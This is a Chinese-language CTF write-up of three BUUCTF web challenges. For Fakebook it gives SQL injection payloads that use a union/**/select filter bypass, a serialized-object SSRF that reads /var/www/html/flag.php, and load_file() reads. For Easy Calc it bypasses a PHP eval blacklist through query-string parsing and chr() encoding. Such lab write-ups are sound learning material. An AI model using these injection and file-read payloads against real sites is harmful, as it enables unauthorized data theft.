buuctf web分类,部分题解
[网鼎杯 2018]Fakebook
看到?no=1,本能地想到sql注入,测试了一下一共四列,第二列可以正常回显,整型注入,不用闭合,直接union select
会被过滤,但是union/**/select
可以绕过,可能是过滤的正则表达式有问题,但是搞了半天啥也没有,只有一个fakebook数据库,一个users表
列名:
no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
?no=2 union/**/select no,username,passwd,data from users
//返回正常页面,和?no=1一样
payload:
?no=2 union/**/select 1,concat_ws('~',no,username,passwd,data),3,4 from users
回显://方便观察,已经分开了
no-> 1
username-> aa
passwd-> cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e1
data-> O:8:"UserInfo":3:{s:4:"name";s:2:"aa";s:3:"age";i:0;s:4:"blog";s:6:"aa.com";}
然后看源代码时看到iframe标签,就想到可能是ssrf(然而只是听过这个攻击方法,并不知道怎么应用),于是乎又是日常搜题解
ssrf漏洞:服务器端请求伪造,使服务器发起请求,可以访问到外网访问不到的资源,比如内网的机密文件等
这一题还需要扫描目录,以后得注意了,做题没事就扫一下2333,可以扫描到存在robots.txt
和flag.php
,但是直接访问flag.php
是没有任何内容的,从robots.txt
中可以知道还有user.php.bak
备份文件,下载下来进行代码审计
看了大佬的题解,意思是数据库中存的data
是反序列化后的用户信息,那么注册的时候有过滤,这时候就可以通过查询语句来绕过,去得到flag.hph
的内容,构造payload;
?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:2:"aa";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users
然后可以在源代码中找到blog内容中有base64编码之后的flag.php
的代码
非预期解
因为没有屏蔽load_file()
函数,所以可以在sql语句中读取文件
?no=2 union/**/select 1,substr(load_file('/var/www/html/flag.php'),5),3,4
用substr()
函数可以将文件前几个字符去掉,避免识别为php代码,但是测试了一下,不用substr()
也可以在源代码中看到flag
[RoarCTF 2019]Easy Calc
打卡靶机之后是一个简单计算器,查看源代码可以看到是向calc.php
传递参数来进行计算,访问calc.php
得到源代码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
可以看到是通过eval()
函数来进行的计算,但是有waf,于是乎,日常搜题解
[RoarCTF 2019]Easy Calc
[RoarCTF 2019]Easy Calc(http走私 && 利用PHP的字符串解析特性Bypass)
对于这一题讲,貌似waf并不是仅仅有php代码中那一个,因为传递某些参数还会出现404或者500,可以利用php的字符串解析特性,传递参数' num'
,php在识别时会自动去掉空白字符或者添加下划线,于是我们传递参数' num'
,不会被waf识别,但是却可以在php代码中执行,然后再考虑绕过php中的waf,屏蔽了很多关键字符,可以用chr()
函数绕过
使用scandir()
扫描目录,var_dump()
来讲返回的数组输出,payload:
? num=1;var_dump(chr(47))
回显:
array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg"//此处省略一堆
看到有文件f1agg
,然后可以用file_get_contents()
函数读取文件内容,还是用chr()
函数绕过过滤,payload:
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
参考:
利用PHP的字符串解析特性Bypass
从一道题到协议层攻击之HTTP请求走私
[极客大挑战 2019]Havefun
右键查看源代码,看到有注释提示
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
get方法传递参数?cat=dog